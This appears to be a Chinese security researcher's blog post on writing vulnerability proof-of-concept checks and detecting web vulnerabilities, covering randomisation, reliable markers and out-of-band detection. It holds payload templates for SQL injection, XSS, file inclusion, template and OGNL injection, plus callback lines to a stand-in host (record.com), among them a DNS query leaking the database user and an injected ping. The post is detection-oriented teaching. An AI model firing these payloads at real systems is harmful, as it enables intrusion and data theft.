說說漏洞檢測(cè)的那些事兒
0x00 簡(jiǎn)介
好像很久沒發(fā)文了,近日心血來潮準(zhǔn)備談?wù)?“漏洞檢測(cè)的那些事兒”。現(xiàn)在有一個(gè)現(xiàn)象就是一旦有危害較高的漏洞的驗(yàn)證 PoC 或者利用 EXP 被公布出來,就會(huì)有一大群饑渴難忍的帽子們?nèi)ニ⒍矗瑢?duì)于一個(gè)路人甲的我來說,看得有點(diǎn)眼紅。
刷洞歸刷洞,蛋還是要扯的。漏洞從披露到研究員分析驗(yàn)證,再到 PoC 編寫,進(jìn)而到大規(guī)模掃描檢測(cè),在這環(huán)環(huán)相扣的漏洞應(yīng)急生命周期中,我認(rèn)為最關(guān)鍵的部分應(yīng)該算是 PoC編寫 和 漏洞檢測(cè) 這兩個(gè)部分了:

PoC編寫 - 復(fù)現(xiàn)漏洞環(huán)境,將漏洞復(fù)現(xiàn)流程代碼化的過程
漏洞檢測(cè) - 使用編寫好的 PoC 去驗(yàn)證測(cè)試目標(biāo)是否存在著漏洞,需要注意的是在這個(gè)過程(或者說是在編寫 PoC 的時(shí)候)需要做到安全、有效和無害,盡可能或者避免掃描過程對(duì)目標(biāo)主機(jī)產(chǎn)生不可恢復(fù)的影響
首先來說說 PoC 編寫。編寫 PoC 在我看來是安全研究員或者漏洞分析者日常最基礎(chǔ)的工作,編寫者把漏洞驗(yàn)證分析的過程通過代碼描述下來,根據(jù)不同類型的漏洞編寫相應(yīng)的 PoC。根據(jù)常年編寫 PoC 積累下來的經(jīng)驗(yàn),個(gè)人認(rèn)為在編寫 PoC 時(shí)應(yīng)遵循幾個(gè)準(zhǔn)側(cè),如下:
隨機(jī)性
確定性
通用型
可能你會(huì)覺得我太學(xué)術(shù)了?那么我就一點(diǎn)一點(diǎn)地把他們講清楚。
0x01 PoC 編寫準(zhǔn)則 & 示例
i. 隨機(jī)性
PoC 中所涉及的關(guān)鍵變量或數(shù)據(jù)應(yīng)該具有隨機(jī)性,切勿使用固定的變量值生成 Payload,能夠隨機(jī)生成的盡量隨機(jī)生成(如:上傳文件的文件名,webshell 密碼,Alert 的字符串,MD5 值),下面來看幾個(gè)例子(我可真沒打廣告,例子大都使用的 pocsuite PoC 框架):

上圖所示的代碼是 WordPress 中某個(gè)主題導(dǎo)致的任意文件上傳漏洞的驗(yàn)證代碼關(guān)鍵部分,可以看到上面使用了kstest.php 作為每一次測(cè)試使用的上傳文件名,很明顯這里是用的固定的文件名,違背了上面所提到的隨機(jī)性準(zhǔn)側(cè)。這里再多啰嗦一句,我并沒有說在 PoC 中使用固定的變量或者數(shù)據(jù)有什么不對(duì),而是覺得將能夠隨機(jī)的數(shù)據(jù)隨機(jī)化能夠降低在掃描檢測(cè)的過程所承擔(dān)的一些風(fēng)險(xiǎn)(具體有什么風(fēng)險(xiǎn)請(qǐng)自行腦補(bǔ)了)。
根據(jù)隨機(jī)性準(zhǔn)側(cè)可修改代碼如下:

更改后上傳文件的文件名每次都為隨機(jī)生成的 6 位字符,個(gè)人認(rèn)為在一定程度上降低了掃描檢測(cè)交互數(shù)據(jù)被追蹤的可能性。
ii. 確定性
PoC 中能通過測(cè)試返回的內(nèi)容找到唯一確定的標(biāo)識(shí)來說明該漏洞是否存在,并且這個(gè)標(biāo)識(shí)需要有針對(duì)性,切勿使用過于模糊的條件去判斷(如:HTTP 請(qǐng)求返回狀態(tài),固定的頁面可控內(nèi)容)。同樣的,下面通過實(shí)例來說明一下:

上圖所示的代碼是某 Web 應(yīng)用一個(gè) UNION 型 SQL 注入的漏洞驗(yàn)證代碼,代碼中直接通過拼接 -1' union select 1,md5(1) -- 來進(jìn)行注入,因該漏洞有數(shù)據(jù)回顯,所以如果測(cè)試注入成功頁面上會(huì)打印出 md5(1) 的值c4ca4238a0b923820dcc509a6f75849b,顯然的這個(gè) PoC 看起來并沒有什么問題,但是結(jié)合準(zhǔn)則第一條隨機(jī)性,我覺得這里應(yīng)該使用 md5(rand_num) 作為標(biāo)識(shí)確定更好,因?yàn)殡S機(jī)化后,準(zhǔn)確率更高:

這里也不是坑你們,萬一某個(gè)站點(diǎn)不存在漏洞,但頁面中就是有個(gè) c4ca4238a0b923820dcc509a6f75849b,你們覺得呢?
講到這里,再說說一個(gè) Python requests 庫使用者可能會(huì)忽視的一個(gè)問題。有時(shí)候,我們?cè)讷@取到一個(gè)請(qǐng)求返回對(duì)象時(shí),會(huì)像如下代碼那樣做一個(gè)前置判斷:

可能有人會(huì)說了,Python 中條件判斷非空即為真,但是這里真的是這么處理的么?并不是,經(jīng)過實(shí)戰(zhàn)遇到的坑和后來測(cè)試發(fā)現(xiàn),Response 對(duì)象的條件判斷是通過 HTTP 返回狀態(tài)碼來進(jìn)行判斷的,當(dāng)狀態(tài)碼范圍在 [400, 600] 之間時(shí),條件判斷會(huì)返回 False。(不信的自己測(cè)試咯)
我為什么要提一下這個(gè)點(diǎn)呢,那是因?yàn)橛袝r(shí)候我們測(cè)試漏洞或者將 Payload 打過去時(shí),目標(biāo)可能會(huì)因?yàn)楹蠖颂幚磉壿嫵鲥e(cuò)而返回 500,但是這個(gè)時(shí)候其實(shí)頁面中已經(jīng)有漏洞存在的標(biāo)識(shí)出現(xiàn),如果這之前你用剛才說的方法提前對(duì) Response 對(duì)象進(jìn)行了一個(gè)條件判斷,那么這一次就會(huì)導(dǎo)致漏報(bào)。So,你們知道該怎么做了吧?
iii. 通用性
PoC 中所使用的 Payload 或包含的檢測(cè)代碼應(yīng)兼顧各個(gè)環(huán)境或平臺(tái),能夠構(gòu)造出通用的 Payload 就不要使用單一目標(biāo)的檢測(cè)代碼,切勿只考慮漏洞復(fù)現(xiàn)的環(huán)境(如:文件包含中路徑形式,命令執(zhí)行中執(zhí)行的命令)。下圖是 WordPress 中某個(gè)插件導(dǎo)致的任意文件下載漏洞:

上面驗(yàn)證代碼邏輯簡(jiǎn)單的說就是,通過任意文件下載漏洞去讀取 /etc/passwd 文件的內(nèi)容,并判斷返回的文件內(nèi)容是否包含關(guān)鍵的字符串或者標(biāo)識(shí)。明顯的,這個(gè) Payload 只適用于 *nix 環(huán)境的情況,在 Windows 平臺(tái)上并不適用。更好的做法應(yīng)該是根據(jù)漏洞應(yīng)用的環(huán)境找到一個(gè)必然能夠體現(xiàn)漏洞存在的標(biāo)識(shí),這里,我們可以取 WordPress 配置文件 wp-config.php 來進(jìn)行判斷(當(dāng)然,下圖最終的判斷方式可能不怎么嚴(yán)謹(jǐn)):

這么一改,Payload 就同時(shí)兼顧了多個(gè)平臺(tái)環(huán)境,變成通用的了。
大大小小漏洞的 PoC 編寫經(jīng)驗(yàn)讓我總結(jié)出這三點(diǎn)準(zhǔn)則,你要是覺得是在扯蛋就不用往下看了。QWQ
0x02 漏洞檢測(cè)方法 & 示例
“漏洞檢測(cè)!漏洞檢測(cè)?漏洞檢測(cè)。。。”,說了這么多,到底如何去歸納漏洞檢測(cè)的方法呢?在我看來,根據(jù) Web 漏洞的類型特點(diǎn)和表現(xiàn)形式,可以分為兩大類:直接判斷 和 間接判斷。
直接判斷:通過發(fā)送帶有 Payload 的請(qǐng)求,能夠從返回的內(nèi)容中直接匹配相應(yīng)狀態(tài)進(jìn)行判斷
間接判斷:無法通過返回的內(nèi)容直接判斷,需借助其他工具間接的反應(yīng)漏洞觸發(fā)與否
多說無益,還是直接上例子來體現(xiàn)一下吧(下列所示 Payloads 不完全通用)。
1. 直接判斷
i. SQLi(回顯)
對(duì)于有回顯的 SQL 注入,檢測(cè)方法比較固定,這里遵循 “隨機(jī)性” 和 “確定性” 兩點(diǎn)即可。
Error Based SQL Injection
- payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
- condition: (rand_str1 + rand_str2) in response.content
針對(duì)報(bào)錯(cuò)注入來說,利用隨機(jī)性進(jìn)行 Payload 構(gòu)造可以比較穩(wěn)定和準(zhǔn)確地識(shí)別出漏洞,固定字符串會(huì)因一些小概率事件造成誤報(bào)。不知道大家是否明白上面兩行代碼的意思,簡(jiǎn)單的說就是 Payload 中包含一個(gè)可預(yù)測(cè)結(jié)果的隨機(jī)數(shù)據(jù),驗(yàn)證時(shí)只需要驗(yàn)證這個(gè)可預(yù)測(cè)結(jié)果是否存在就行了。
UNION SQL Injection
- payload1: "... union select md5(rand_num) ..."
- condition1: md5(rand_num) in response.content
- payload2: "... union select concat(rand_str1, rand_str2) ..."
- condition2: (rand_str1 + rand_str2) in response.content
md5(rand_num) 這個(gè)很好理解,MySQL 中自帶函數(shù),當(dāng) Payload 執(zhí)行成功時(shí),因具有回顯所以在頁面上定有md5(rand_num) 的哈希值,因 Payload 具有隨機(jī)性,所以誤報(bào)率較低。
ii. XSS(回顯)
- payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
- condition: (rand_str1 + rand_str2) in response.content
因沒怎么深入研究過 XSS 這個(gè)東西,所以大家就意會(huì)一下示例代碼的意思吧。QWQ
iii. Local File Inclusion/Arbitrary File Download(回顯)
本地文件包含和任意文件下載的最大區(qū)別在哪?本地文件包含不僅能夠獲取文件內(nèi)容還可以動(dòng)態(tài)包含腳本文件執(zhí)行代碼,而任意文件下載只能獲取文件內(nèi)容無法執(zhí)行代碼。XD
所以呢,在針對(duì)此類漏洞進(jìn)行檢測(cè)時(shí),在進(jìn)行文件包含/下載測(cè)試的時(shí)候需要找一個(gè)相對(duì) Web 應(yīng)用固定的文件作為測(cè)試向量:
- payload: "... ?file=../../../fixed_file ..."
- condition: (content_flag_in_fixed_file) in response.content
例如 WordPress 應(yīng)用路徑下 ./wp-config.php 文件是應(yīng)用默認(rèn)必須的配置文件,而文件中的特殊字符串標(biāo)識(shí)require_once(ABSPATH . 'wp-settings.php'); 通常是不會(huì)去改動(dòng)它的(當(dāng)然也可以是其他的特征字符串),掃描文件下載時(shí)只需要去嘗試下載 ./wp-config.php 文件,并檢測(cè)其中的內(nèi)容是否含有特征字符串即可判斷是否存在漏洞了。
iv. Remote Code/Command Execution(回顯)
遠(yuǎn)程代碼/命令執(zhí)行都是執(zhí)行,對(duì)該類漏洞要進(jìn)行無害掃描,通常的做法是打印隨機(jī)字符串,或者運(yùn)行一下特征函數(shù),然后檢查頁面返回是否存在特征標(biāo)識(shí)來確認(rèn)漏洞與否。
- payload: "... echo md5(rand_num); ..."
- condition: (content_flag) in response.content
當(dāng)然了,要執(zhí)行什么樣的特征命令這還需要結(jié)合特定的漏洞環(huán)境來決定。
v. SSTI/ELI(回顯)
模板注入和表達(dá)式注入相對(duì)于傳統(tǒng)的 SQLi 和 XSS 來說,應(yīng)該算得上是在開框架化、整體化的過程中產(chǎn)生的問題,當(dāng)模板內(nèi)容可控時(shí)各種傳統(tǒng)的 Web 漏洞也就出現(xiàn)了,XSS、命令執(zhí)行都能夠通過模板注入活著表達(dá)式注入做到。曾經(jīng)風(fēng)靡一時(shí)的 Struts2 漏洞我覺得都能歸到此類漏洞中。通常檢測(cè)只需構(gòu)造相應(yīng)模板語言對(duì)應(yīng)的表達(dá)式即可,存在注入表達(dá)式會(huì)得以執(zhí)行并返回內(nèi)容:
- payload1: "... param=%(rand_num1 + rand_num2) ..."
- condition1: (rand_num1 + rand_num2) in response.content
- payload2: "... param=%(rand_num1 * rand_num2) ..."
- condition2: (rand_num1 * rand_num2) in response.content
- payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
- condition3: (rand_str1+ rand_str2) in response.content
vi. 文件哈希
有時(shí)候漏洞只與單個(gè)文件有關(guān),例如 Flash、JavaScript 等文件造成的漏洞,這個(gè)時(shí)候就可以利用文件哈希來直接判斷是否存在漏洞。掃描檢測(cè)時(shí),首先需要給定路徑下載對(duì)應(yīng)的文件然后計(jì)算哈希與統(tǒng)計(jì)的具有漏洞的所有文件哈希進(jìn)行比對(duì),匹配成功則說明漏洞存在:
- payload: "http://vuln.com/vuln_swf_file.swf"
- condition: hash(vul_swf_file.swf) == hash_recorded
以上就是針對(duì) Web 漏洞檢測(cè)方法中的 “直接判斷” 進(jìn)行了示例說明,因 Web 漏洞類型繁多且環(huán)境復(fù)雜,這里不可能對(duì)其進(jìn)行一一舉例,所舉的例子都是為了更好的說明 “直接判斷” 這種檢測(cè)方法。:)
2. 間接判斷
“無回顯?測(cè)不了,掃不了,很尷尬!怎么辦。。。“
在很久很久之前,我遇到上訴這些漏洞環(huán)境時(shí)是一臉懵逼的 (⇀‸↼‶),一開始懂得了用回連進(jìn)行判斷,后來有了 python -m SimpleHTTPServer 作為簡(jiǎn)單實(shí)時(shí)的 HTTP Server 作為回連監(jiān)控,再后來有了《Data Retrieval over DNS in SQL Injection Attacks》這篇 Paper,雖然文章說的技術(shù)點(diǎn)是通過 DNS 查詢來獲取 SQL 盲注的數(shù)據(jù),但是 "Data Retrieval over DNS" 這種技術(shù)已經(jīng)可以應(yīng)用到大多數(shù)無法回顯的漏洞上了,進(jìn)而出現(xiàn)了一些公開的平臺(tái)供安全研究愛好者們使用,如:烏云的 cloudeye 和 Bugscan 的 DNSLog,當(dāng)然還有我重寫的 CEYE.IO 平臺(tái)。
"Data Retrieval over DNS" 技術(shù)原理其實(shí)很簡(jiǎn)單,首先需要有一個(gè)可以配置的域名,比如:ceye.io,然后通過代理商設(shè)置域名 ceye.io 的 nameserver 為自己的服務(wù)器 A,然后再服務(wù)器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會(huì)到 服務(wù)器 A 上,這時(shí)就能夠?qū)崟r(shí)地監(jiān)控域名查詢請(qǐng)求了,圖示如下(借的 Ricter 的):

說了那么多,還是不知道怎么用么?那就直接看示例吧(所以后端平臺(tái)都用 CEYE.IO 作為例子)。
i. XSS(無回顯)
XSS 盲打在安全測(cè)試的時(shí)候是比較常用的,“看到框就想 X” 也是每位 XSSer 的信仰:
- payload: "... ><img src=http://record.com/?blindxss ..."
- condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
通過盲打,讓觸發(fā)者瀏覽器訪問預(yù)設(shè)至的鏈接地址,如果盲打成功,會(huì)在平臺(tái)上收到如下的鏈接訪問記錄:

ii. SQLi(無回顯)
SQL 注入中無回顯的情況是很常見的,但是有了 "Data Retrieval over DNS" 這種技術(shù)的話一切都變得簡(jiǎn)單了,前提是目標(biāo)環(huán)境符合要求。《HawkEye Log/Dns 在Sql注入中的應(yīng)用》這篇文章提供了一些常見數(shù)據(jù)庫中使用 "Data Retrieval over DNS" 技術(shù)進(jìn)行盲注的 Payloads。
- payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))
- condition: {*.record.com LOG} in DNS queries LOGs
只要目標(biāo)系統(tǒng)環(huán)境符合要求并且執(zhí)行了注入的命令,那么就會(huì)去解析預(yù)先設(shè)置好的域名,同時(shí)通過監(jiān)控平臺(tái)能夠拿到返回的數(shù)據(jù)。

iii. SSRF(無回顯)
根據(jù)上面兩個(gè)例子,熟悉 SSRF 的同學(xué)肯定也是知道怎么玩了:
- payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."
- condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
iv. RCE(無回顯)
命令執(zhí)行/命令注入這個(gè)得好好說一下,我相信很多同學(xué)都懂得在命令執(zhí)行無法回顯的時(shí)候借用類似 python -m SimpleHTTPServer 這樣的環(huán)境,采用回連的檢測(cè)機(jī)制來實(shí)時(shí)監(jiān)控訪問日志。*nix 系統(tǒng)環(huán)境下一般是使用 curl 命令或者wget 命令,而 windows 系統(tǒng)環(huán)境就沒有這么方便的命令去直接訪問一個(gè)鏈接,我之前常用的是 ftp 命令和 PowerShell 中的文件下載來訪問日志服務(wù)器?,F(xiàn)在,有了一個(gè)比較通用的做法同時(shí)兼顧 *nix 和 windows 平臺(tái),那就是 ping 命令,當(dāng) ping 一個(gè)域名時(shí)會(huì)對(duì)其進(jìn)行一個(gè)遞歸 DNS 查詢的過程,這個(gè)時(shí)候就能在后端獲取到 DNS 的查詢請(qǐng)求,當(dāng)命令真正被執(zhí)行且平臺(tái)收到回顯時(shí)就能說明漏洞確實(shí)存在。
- payload: "... | ping xxflag.record.com ..."
- condition: {xxflag.record.com LOG} in DNS queries LOGs

通過這幾個(gè) "間接判斷" 的示例,相信大家也大概了解了在漏洞無回顯的情況下如何進(jìn)行掃描和檢測(cè)了。更多的無回顯 Payloads 可以通過 http://ceye.io/payloads 進(jìn)行查看。(勿噴)
0x03 應(yīng)急實(shí)戰(zhàn)舉例
原理和例子扯了這么多,也該上上實(shí)際的掃描檢測(cè)案例了。
Java 反序列化(通用性舉例,ftp/ping)
首先說說 15 年底爆發(fā)的 Java 反序列化漏洞吧,這個(gè)漏洞應(yīng)該算得上是 15 年 Web 漏洞之最了。記得當(dāng)時(shí)應(yīng)急進(jìn)行掃描的時(shí)候,WebLogic 回顯 PoC 并沒有搞定,對(duì)其進(jìn)行掃描檢測(cè)的時(shí)候使用了回連的方式進(jìn)行判斷,又因?yàn)榇郎y(cè)目標(biāo)包含 *nix 和 windows 環(huán)境,所以是寫了兩個(gè)不同的 Payloads 對(duì)不同的系統(tǒng)環(huán)境進(jìn)行檢測(cè),當(dāng)時(shí)掃描代碼的 Payloads 生成部分為:
i. *nix

當(dāng)時(shí)真實(shí)的日志內(nèi)容:

可以看到我在構(gòu)造 Payload 的時(shí)候通過鏈接參數(shù)來唯一識(shí)別每一次測(cè)試的 IP 地址和端口,這樣在檢查訪問日志的時(shí)候就能確定該條記錄是來自于哪一個(gè)測(cè)試目標(biāo)(因?yàn)槿肟?IP 和出口 IP 可能不一致),同時(shí)在進(jìn)行批量掃描的時(shí)候也能方便進(jìn)行目標(biāo)確認(rèn)和日志處理。
ii. windows

當(dāng)時(shí)真實(shí)的日志內(nèi)容:

因?yàn)?windows 上的 ftp 命令無法帶類似參數(shù)一樣的標(biāo)志,所以通過觀察 FTP Server 連接日志上不是很好確認(rèn)當(dāng)時(shí)測(cè)試的目標(biāo),因?yàn)槿肟?IP 和出口 IP 有時(shí)不一致。
上面的這些 PoC 和日志截圖都是去年在應(yīng)急時(shí)真實(shí)留下來的,回想當(dāng)時(shí)再結(jié)合目前的一些知識(shí),發(fā)現(xiàn)使用通用的 Payloadping xxxxx.record.com 并使用 "Data Retrieval over DNS" 技術(shù)來收集信息日志能夠更為通用方便地進(jìn)行檢測(cè)和掃描。所以,最近更換了一下 Payload 結(jié)合 CEYE.IO 平臺(tái)又對(duì) WebLogic 反序列化漏洞的影響情況又進(jìn)行了一次摸底:

這里添加一個(gè)隨機(jī)字符串作為一個(gè)子域名的一部分是為了防止多次檢測(cè)時(shí)本地 DNS 緩存引起的問題(系統(tǒng)一般會(huì)緩存 DNS 記錄,同一個(gè)域名第一次通過網(wǎng)絡(luò)解析得到地址后,第二次通常會(huì)直接使用本地緩存而不會(huì)再去發(fā)起查詢請(qǐng)求)。
相應(yīng)平臺(tái)的記錄為(數(shù)量略多):

(順便說一下,有一個(gè)這樣的平臺(tái)還是很好使的 QWQ)
不知不覺就寫了這么多 QWQ,好累。。。能總結(jié)和需要總結(jié)的東西實(shí)在太多了,這次就先寫這么一點(diǎn)吧。
不知道仔細(xì)看完這篇文章的人會(huì)有何想法,也許其中的一些總結(jié)你都知道,甚至比我知道的還要多,但我寫出來只是想對(duì)自己的經(jīng)驗(yàn)和知識(shí)負(fù)責(zé)而已,歡迎大家找我討論掃描檢測(cè)相關(guān)的東西。:)